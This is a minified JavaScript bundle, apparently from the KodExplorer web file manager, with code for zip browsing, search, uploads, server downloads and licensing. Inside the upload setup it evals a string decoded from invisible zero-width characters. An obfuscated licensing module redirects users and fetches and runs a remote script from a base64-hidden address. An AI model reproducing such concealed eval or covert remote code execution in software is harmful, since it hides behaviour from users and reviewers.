",r+='',$("#"+i.tId+"_span").after(r),a.parent().addClass(i.menuType)}},callback:{onClick:function(e,t,a){$(e.target).hasClass("menu_more")||(i.selectNode(a),u(a),"folder"==a.type&&$("#"+a.tId+"_switch").click())},onCollapse:function(e,i){m(i)},onExpand:function(e,i){m(i)},beforeRightClick:function(e,t){t&&(u(t),i.selectNode(t))},onDblClick:function(e,t,a){$(e.target).hasClass(".menu_more")||"file"==a.type&&o("open",i)}}},a=function(e){for(var i=function(e){for(var t=0;e.length>t;t++)if(void 0!=e[t]){var a=e[t];e[t]={name:core.pathThis(a.filename),path:a.filename,isParent:!!a.child,type:a.folder?"folder":"file",menuType:a.folder?"menuZipListFolder":"menuZipListFile",ext:core.pathExt(a.filename),mtime:a.mtime,index:a.index,size:a.size,child:a.child},a.folder&&delete e[t].ext,e[t].child?(e[t].children=e[t].child,delete e[t].child,i(e[t].children)):delete e[t].child}else delete e[t]},t={},a=0;e.length>a;a++)"string"!=typeof e[a].filename&&e[a].stored_filename&&(e[a].filename=e[a].stored_filename),"string"==typeof e[a].filename&&(e[a].filename=e[a].filename.replace(/\\/g,"/"),t[e[a].filename]=e[a]);for(var n in t)if(!t[n].folder)for(var o=core.pathFather(t[n].filename);""!=o&&"/"!=o&&!t[o]&&!t[rtrim(o,"/")];)t[o]={filename:o,folder:!0,mitme:0,size:0,index:-1},o=core.pathFather(o);var s=[];for(var n in t){var r=t[n],l=core.pathFather(r.filename);if(t[l]&&(l=core.pathFather(r.filename)),t[rtrim(l,"/")]&&(l=rtrim(l,"/")),t[l])t[l].child||(t[l].child=[]),t[l].child.push(t[r.filename]);else{var c=t[r.filename];c&&s.push(c)}}return i(s),s},n=function(){$.contextMenu({selector:".menuZipListFolder",className:"menuZipListFolder",zIndex:9999,callback:function(e){o(e)},items:{unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep1:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$.contextMenu({selector:".menuZipListFile",className:"menuZipListFile",zIndex:9999,callback:function(e){o(e)},items:{open:{name:LNG.open,className:"open",icon:"external-link",accesskey:"o"},down:{name:LNG.download,className:"down",icon:"cloud-download",accesskey:"x"},sep1:"--------",unzip_this:{name:LNG.unzip_this,className:"unzip_this",icon:"external-link"},unzip_to:{name:LNG.unzip_to,className:"unzip_to",icon:"external-link"},sep2:"--------",info:{name:LNG.info,className:"info",icon:"info",accesskey:"i"}}}),$(".menuZipListFile .menu_more,.menuZipListFolder .menu_more").die("click").live("click",function(e){var i=$(this).offset();i.top+=$(this).outerHeight(),$(this).contextMenu({x:e.pageX,y:i.top})})},o=function(e,i){if(void 0==i){var t=$(".context-menu-active").parents(".ztree");if(0==t.length)return;i=$.fn.zTree.getZTreeObj(t.attr("id"))}var a=i.getSelectedNodes()[0];switch(e){case"open":c(i,a);break;case"down":l(i,a);break;case"unzip_this":p(i,a);break;case"unzip_to":d(i,a);break;case"info":h(i,a);break;default:}},s={file_num:0,folder_num:0,size:0},r=function(e){if("folder"==e.type){if(s.folder_num++,e.children)for(var i=0;e.children.length>i;i++)r(e.children[i])}else s.file_num++,s.size+=parseInt(e.size)},l=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&download=1&index="+i.index;ui.pathOpen.downloadUrl(a)},c=function(e,i){e.setting.filePath;var t=e.setting.fileUrl,a=t+"&index="+i.index+"&name=/"+urlEncode(i.path),n=i.ext;"zip"==n&&(n="unknow"),i.size>=31457280&&(Tips.tips(LNG.zipview_file_big,"warning"),n="unknow"),ui.pathOpen.open(a,n)},d=function(e,i){core.api.pathSelect({type:"folder",title:LNG.unzip_to},function(t){p(e,i,t)})},p=function(e,i,t){var a=e.setting.filePath;e.setting.fileUrl,void 0==t&&(t=G.this_path,void 0==t&&(t=core.pathFather(a)));var n="./index.php?explorer/unzip";$.ajax({url:n,data:{path:a,path_to:t,unzip_part:i.index},type:"POST",dataType:"json",beforeSend:function(){Tips.loading(LNG.unziping)},error:core.ajaxError,success:function(e){return Tips.close(e),"editor"==Config.pageApp?(ui.tree.refreshPath(core.pathFather(a)),void 0):(ui.f5(!0,!0,function(){var e=t+core.pathThis(i.path);ui.path.setSelectByFilename(e)}),void 0)}})},u=function(e){var i=f(e),t=LNG.size+" "+i.size_friendly+" ("+i.size+" Byte)";"folder"==e.type&&(t=i.file_num+LNG.file+","+i.folder_num+LNG.folder+", "+t),$("#"+e.tId).parents(".zipViewContent").find(".bottom .info").html(t)},f=function(e){var i={name:e.name,path:e.path,size:e.size,size_friendly:core.fileSize(e.size),mtime:date(LNG.time_type_info,e.mtime)};return 0==e.level&&(i.path=i.name),"folder"==e.type&&(s={file_num:0,folder_num:0,size:0},r(e),$.extend(i,s),i.size_friendly=core.fileSize(i.size)),i},h=function(e,i){var t="folder"==i.type?"folder":core.pathExt(i.path),a="folder"==i.type?tpl_path_info:tpl_file_info,n=template.compile(a),o=f(i);o.LNG=LNG,$.dialog({id:UUID(),padding:5,ico:core.iconSmall(t),fixed:!0,title:core.pathThis(i.path),content:n(o),ok:!0})},v=function(e,i){var t=template.compile(tpl_zipview),a=t({LNG:LNG,treeID:e}),n=$.dialog({className:"zipViewDialog",ico:core.icon("zip"),title:i,width:550,height:420,content:a,resize:!0,padding:0,fixed:!0}),o=15*$(".zipViewContent").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},m=function(e){$("#"+e).find("ul:visible > li > a").each(function(e){$(this).removeClass("odd"),0==e%2&&$(this).addClass("odd")})},_=function(e,o){var s=a(o),r="folderListZip"+UUID();s=ui.tree.treeDataSort(s),v(r,e),n(),s={name:e,ext:"zip",mtime:"",isParent:!0,open:!0,children:s,type:"folder",path:"",index:"-1",menuType:"menuZipListFolder"},$.fn.zTree.init($("#"+r),t,s),i=$.fn.zTree.getZTreeObj(r),m(r),u(i.getNodeByParam("index","-1",null))},g=function(e){var t="explorer/unzipList&access_token="+G.access_token+"&path="+urlEncode(e);return G.share_page!==void 0?(t="share/unzipList&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(e),ui.pathOpen.openUnknow(e),void 0):(t=G.app_host+"index.php?"+t,$.ajax({url:t,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(a){Tips.close(a),a.code?(_(core.pathThis(e),a.data),i.setting.filePath=e,i.setting.fileUrl=t):ui.pathOpen.openUnknow(e,a.data)}}),void 0)};g(e)}}),define("app/common/tpl/copyright.html",[],'\n
\n
{{if core.versionType==\'A\'}}KodExplorer {{else}} {{LNG.kod_name}} {{/if}} v{{G.version}}
\n
——{{LNG.kod_name_copyright}}
\n
\n
\n
{{#LNG.copyright_desc}}
\n
{{#LNG.copyright_contact}}
\n
{{#LNG.copyright_info}}
\n
\n
\n'),define("app/common/tpl/theme_diy.html",[],"@media screen and (max-width:100000px) {\n body .full_background{\n position: absolute;top: 0px;left: 0px;bottom: 0px;right: 0px;\n background-color: #020202;background-size: 100% 100%;\n }\n\n {{if blur_size= (bg_blur==0?0:10) }}{{/if}}\n body .full_background:before{\n -webkit-filter: blur({{blur_size}}px);\n -moz-filter: blur({{blur_size}}px);\n -ms-filter: blur({{blur_size}}px);\n filter: blur({{blur_size}}px);\n }\n {{if bg_type == 'image'}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left,\n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background-image:url({{bg_image}});\n }\n body .aui_state_focus .aui_title,body .aui_title{\n background-size:100%;\n }\n {{else}}\n body .full_background,\n body .full_background:before,\n body #body .menu_left, \n body #body .app_menu_left,\n body .aui_buttons,\n body .aui_state_focus .aui_title,body .aui_title{\n background:{{end_color}};\n filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='{{start_color}}', endColorstr='{{end_color}}');\n background-image: -webkit-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -moz-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -o-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: -ms-linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n background-image: linear-gradient({{color_rotate}}deg, {{start_color}}, {{end_color}});\n }\n {{/if}}\n}\n"),define("app/src/app/page",[],function(){var e,i=function(){e=location.hash.split("#",2)[1],e||(e="all"),a(e),$("ul.setting a").click(function(){e!=$(this).attr("id")&&(e=$(this).attr("id"),a(e))
+}return LocalData.setConfig(i,e)},d=function(e){var i=$(".file-items"),t=$(".search_desc");if(!e.code)return t.html(e.data),i.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return t.html(LNG.search_null),i.html(""),void 0;var n=template.compile(tpl_search_list);if(i.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);t.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&t.html(""+LNG.seach_result_too_more+" ")}else t.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var i=$(".file-items"),t=$(".search_desc");if(!e.search||!e.path)return t.html(LNG.search_info),i.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){t.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),t.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var i=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],t=function(){var e=i[0];if(typeof G[i[1]]==i[2])return e;var t=i[3],a=authCrypt[i[4]](G[i[1]],t);return a&&27==a[i[5]]?(e=a[i[6]](10,1),-1===$[i[10]](e,[i[0],i[7],i[8],i[9]])&&(e=i[0]),e):e},a=t(),n=i[11],o=function(){var e=hashDecode(i[12]);G[i[13]]!=i[14]&&(e=hashDecode(i[15])),alert(e),Tips[i[16]](e,!1),$(i[18])[i[17]](),setTimeout(function(){Tips[i[19]](e,!1),window[i[21]][i[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[i[4]](i[22],i[23]),r=authCrypt[i[4]](i[24],i[25]),l=function(){if(typeof Config!=i[2]&&Config[i[26]]==i[27]&&a==i[0])for(var e=[{key:LNG[i[28]],find:s},{key:LNG[i[29]],find:s},{key:LNG[i[30]],find:r},{key:LNG[i[31]],find:s},{key:LNG[i[32]],find:r},{key:$(i[34])[i[33]](),find:s}],t=0;e[i[5]]>t;t++){e[t][i[35]]||(e[t][i[35]]=i[36]);var n=e[t][i[35]][i[37]](),l=e[t][i[38]][i[37]]();if(-1==n[i[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:i[40],O:i[41],P:i[42],Q:i[43]},t=i[44]+e[a],o=i[45]+t+i[46]+LNG[t]+i[47];a==i[0]&&$(o)[i[49]](i[48]),$(i[65])[i[64]](i[50])[i[63]](i[50],function(){if($(this)[i[52]](i[51])==i[53]){var e=core[i[55]](core[i[54]]),t=i[56]+n+i[57];e[i[61]][i[60]][i[38]](i[59])[i[58]](t)}else Tips[i[19]]($(this)[i[62]]())}),$(i[65])[i[67]](function(){window[i[66]][i[21]][i[20]]=n})},d=function(){a==i[0]&&$(i[70])[i[69]](i[68]),-1!==$[i[10]](a,[i[7],i[8],i[9]])&&$(i[72])[i[71]]()},p=function(){core[i[73]]=function(e,t){return i[74]+e+(t?i[75]:i[36])+i[76]},core[i[77]]=function(e){return core[i[73]](e,!0)},core[i[78]]=iconSrc=function(e){return i[79]+e+i[80]},setTimeout(function(){var t=base64Decode(i[81])+i[82]+UUID();e[i[84]](t,function(e){try{e[i[83]]()}catch(t){}})},2e3),core[i[85]]=a,core[i[86]]=core[i[87]],core[i[54]]=hashDecode(i[88])+G[i[13]],l(),c(),d()},u=function(e){return a==i[0]&&-1==e[i[37]]()[i[39]](s)?(o(),!1):!0},f=function(e,t){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(t==i[89]?(n=e[i[90]],o=s[a]):(n=e[i[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,i){core.uploadCheck("explorer:serverDownload");var t=$(".download_box"),a=t.find(".download_list");if(t.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"ftp"!=e.substr(0,3)&&"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)},v=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+i+"&url="+urlEncode(e)+"&uuid="+n+"&time="+time(),dataType:"json",error:function(e,i,t){var a=d.data("progcess");return 200!=e.status&&a&&a.support_range?(setTimeout(function(){v()},1e3),void 0):(core.ajaxError(e,i,t),200==e.status&&(clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)),void 0)},success:function(e){return 0==e.code&&"downloading"==e.data?(setTimeout(function(){v()},1e3),void 0):(e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").text(core.pathThis(e.info)),$("#"+n+" .info .title").attr("title",e.info),p.parent().parent().addClass("success")):(p.addClass("error").text(e.data),p.parent().parent().addClass("error")),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),void 0)}})};v();var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var i="",t=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(t){if(t.size=parseFloat(t.size),t.time=parseFloat(t.time),l){var a=(t.size-l.size)/(t.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;var n=core.fileSize(a);n=n?n:0,i=n+"/s"}if(d.data("progcess",t),0==t.length)d.find(".progress-bar").css("width","100%"),p.text(i),d.find(".size").text(core.fileSize(t.size));else{var o=100*(t.size/t.length);d.find(".progress-bar").css("width",o+"%"),p.text(o.toFixed(1)+"%("+i+")"),d.find(".size").text(core.fileSize(t.length))}d.find(".title").text(t.name),l=t}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var i=template.compile(tpl_upload),t=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:i({LNG:LNG,maxsize:t}),close:function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),i=0;e.length>i;i++)core.serverDwonload(e[i],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if(isWap())return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=G.upload_max;WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){if(!canvasSupport())return $.Deferred().resolve(),void 0;var i=this.owner,t=(e.blob.getSource(),$.Deferred());return i.md5File(e.blob).fail(function(){t.resolve()}).then(function(i){if(1==e.chunks)return t.resolve(),void 0;if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:i,chunk:e.chunk,chunks:e.chunks},error:function(){t.resolve()},success:function(i){i.code?(t.reject(),e.file.checkChunk=i.info):t.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==i){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),t.reject()}else t.resolve()}}),t.promise()}}),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:5,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("data-name");e&&("explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e)))}),$(".uploader-content .open").die("click").live("click",function(e){var i=$(this).parent().find("span.title").attr("data-name");ui.pathOpen.open(i),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".upload_box_clear_all").die("click").live("click",function(){$.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),$(".uploader-list .item").each(function(){$(this).remove()})}),$(".uploader-content .remove").die("click").live("click",function(e){var i=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(i),uploader.removeFile(i,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,i){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var t=e.size*i,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),t]]:a>=e.speed.length?e.speed.push([timeFloat(),t]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),t]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);0>=s&&(s=0);var r=core.fileSize(s);return r=r?r:0,s=r+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var i=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(i),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var i;try{i=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(i=e.source.source.webkitRelativePath)}catch(t){}if(e.fullPath=i,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
';(1e3==file_num||2e3==file_num)&&Tips.tips(LNG.upload_tips_more,"warning"),0==n.length?setTimeout(function(){$(".uploader-list").prepend(o),uploader.upload()},100):(n.prepend(o),uploader.upload())}).on("uploadBeforeSend",function(e,i,t){var a=urlEncode(e.file.fullPath);(void 0==a||"undefined"==a)&&(a=""),i.fullPath=a,i.upload_to=e.file.upload_to,t["X-CSRF-TOKEN"]=Cookie.get("X-CSRF-TOKEN")}).on("uploadProgress",function(e,i){$(".dialog_file_upload .aui_title").text(LNG.uploading+": "+file_finished+"/"+file_num+" ("+currentSpeed+")");var t=getSpeed(e,i),a=$("#"+e.id),n=a.find(".progress .progress-bar");n.length||(n=$('').appendTo(a).find(".progress-bar")),a.find(".state").text((100*i).toFixed(1)+"%("+t+")"),n.css("width",100*i+"%")}).on("uploadAccept",function(e,i){if(e.file.serverData=i,!i.code)return e.serverNeedRetry=!0,!1;try{e.file.fullPath||selectNameArr.push(i.info)}catch(t){}}).on("uploadSuccess",function(e){var i=$("#"+e.id);if(!i.inScreen()){var t=36*i.index(".item");$(".uploader-content").scrollTop(t)}file_finished++;var a=e.serverData;if(a&&a.data){var n=LNG[a.data];if(a.code){if(i.addClass("success"),i.find(".state").text(n),i.find(".remove").addClass("icon-ok").addClass("open").removeClass("icon-remove").removeClass("remove"),a.info){var o="/"+ltrim(htmlEncode(a.info),"/");i.find(".info .title").html(core.pathThis(o)).attr("title",o).attr("data-name",o)}}else i.addClass("error").find(".state").addClass("error"),i.find(".state").text(n).attr("title",n)}uploader.removeFile(e),i.find(".progress").fadeOut(),e.fullPath||pathReload(!1)}).on("uploadError",function(e,i){var t=LNG.upload_error+"("+i+")";if(e.serverData){var a=5;if((-1!==e.serverData._raw.indexOf("[Error Code:1001]")||-1!==e.serverData._raw.indexOf("[Error Code:1002]")||-1!==e.serverData._raw.indexOf("[Error Code:1010]"))&&(e.errorNum||(e.errorNum=0),e.errorNum++,a>=e.errorNum))return uploader.retry(e),void 0;if(-1!==e.serverData._raw.indexOf(""))return $.each(uploader.getFiles(),function(e,i){uploader.skipFile(i),uploader.removeFile(i)}),Tips.tips("login error!",!1),void 0;if(e.serverData.data){var n=e.serverData.data;t=LNG[n]?LNG[n]:n}else e.serverData._raw&&(t=e.serverData._raw)}"http"==i&&(t=LNG.upload_error_http),file_finished++,$("#"+e.id).find(".progress").fadeOut(),$("#"+e.id).addClass("error").find(".state").addClass("error"),$("#"+e.id).find(".state").html(t).attr("title",t)}).on("uploadFinished",function(){$(".dialog_file_upload .aui_title").text(LNG.upload_success+": "+file_finished+"/"+file_num),file_num=0,file_finished=0,uploader.reset(),pathReload(!0)}).on("error",function(e){Tips.tips(e,!1)});var timer;inState=!1,dragOver=function(){if(0==inState){if(inState=!0,!core.uploadCheck(void 0,!1))return;var e='";MaskView.tips(e),$("#windowMaskView").css({background:"#4285f4",opacity:"0.8"})}timer&&window.clearTimeout(timer)},dragLeave=function(e){stopPP(e),timer&&window.clearTimeout(timer),timer=window.setTimeout(function(){inState=!1,MaskView.close()},100)},dragDrop=function(e){try{if(e=e.originalEvent||e,core.uploadCheck())if(e.dataTransfer.files.length>0&&e.dataTransfer.files[0].name)core.upload(),core.playSound("drag_upload");else{var i=e.dataTransfer.getData("text/plain");i&&"http"==i.substring(0,4)&&ui.pathOperate.appAddURL(i)}stopPP(e)}catch(e){}inState&&(inState=!1,MaskView.close())}}}}),define("app/common/core.api",[],function(){var e=function(e,i,t){var a=$(t.DOM.wrap),n=i.frames.OpenpathSelectApi,o=' ';"file"==e.type&&(o+=''+e.allowExt+" "),$(o).insertBefore(a.find(".aui_state_highlight"));var s=function(i){var t=e.allowExt.split("|"),a=core.pathExt(i);return""==e.allowExt||""!=e.allowExt&&-1!=$.inArray(a,t)?!0:!1},r=function(){var i=n.ui.fileLight.fileListSelect(),t=[];if(e.single){var a=$(i.get(0));if("all"==e.type&&0==i.length)t={file:[],folder:[]};else if("file"==e.type&&0==i.length)t=[];else if("folder"==e.type)t=[n.G.this_path],a.hasClass("folderBox")&&(t=[n.ui.fileLight.path(a)]);else if("file"==e.type){if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t=[o])}}else if("all"==e.type)if(a.hasClass("folderBox")){var o=n.ui.fileLight.path(a);t=[{file:[],folder:[o]}]}else if(a.hasClass("fileBox")){var o=n.ui.fileLight.path(a);s(o)&&(t={file:[o],folder:[]})}}else{var r=[],l=[];i.each(function(){if($(this).hasClass("fileBox")){var e=n.ui.fileLight.path($(this));s(e)&&r.push(e)}else $(this).hasClass("folderBox")&&l.push(n.ui.fileLight.path($(this)))}),"folder"==e.type?t=l:"file"==e.type?t=r:"all"==e.type&&(t={file:r,folder:l})}c(t)},l=function(e){var e=trim(e,"/");return e==G.KOD_GROUP_ROOT_SELF||e==G.KOD_GROUP_ROOT_ALL||e==G.KOD_USER_FAV||e==G.KOD_USER_SHARE?!1:!0},c=function(i){var t=a.find(".path_select_input"),o=a.find(".aui_state_highlight");if("all"!=e.type){for(var s=[],r=0;i.length>r;r++)l(i[r])&&s.push(i[r]);i=s}if(0==i.length||"all"==e.type&&0==i.file.length&&0==i.folder.length)o.addClass("disable"),t.attr("result",""),t.val("");else{var c=hashEncode(jsonEncode(i)),d="";if(e.single)d=n.core.pathThis(i[0]);else{var p=i;"all"==e.type&&(p=i.folder.concat(i.file)),$.each(p,function(e,i){d+=n.core.pathThis(i)+", "})}o.removeClass("disable"),t.attr("result",c),t.val(d)}},d=function(){n.ui.fileLight.select.hook("select",n.ui.fileLight,{before:function(){},after:function(){r()}})};n.kodReady||(n.kodReady=[]),n.kodReady.push(function(){d(),r()})};return{pathSelect:function(i,t){var a={type:"file",title:LNG.path_api_select_file,single:!0,allowExt:"",firstPath:!1},n="./index.php?/explorer&type=iframe";i=$.extend(a,i),i.firstPath&&(n+="&path="+i.firstPath);var o=ShareData.frameTop(),s=o.$.dialog.open(n,{id:"pathSelectApi",resize:!0,fixed:!0,ico:core.icon("folder"),title:i.title,lock:!0,background:"#000",opacity:.1,width:840,height:420,ok:function(){if("function"==typeof t){var e=s.DOM.wrap,a=e.find(".path_select_input").attr("result");a=jsonDecode(hashDecode(a)),a?i.single&&"all"!=i.type?t(a[0]):t(a):Tips.tips(LNG.error,!1)}},cancel:!0});e(i,o,s)},randomImage:function(e){$.getJSON("//kalcaddle.com/tools/version/?wallpage/index&lang="+G.lang+"&callback=?",function(i){"function"==typeof e&&e(i)})}}}),define("app/common/core.playSound",["./myPlayer"],function(e){var i={file_remove:"file_remove.mp3",recycle_clear:"recycle_clear.mp3",folder_open:"folder_open.mp3",window_min:"window_min.mp3",error:"error_tips.mp3",drag_upload:"drag_upload.mp3",drag_drop:"drag_drop.mp3"},t=function(i){var t="x-play-sound";0==$("."+t).length&&$('
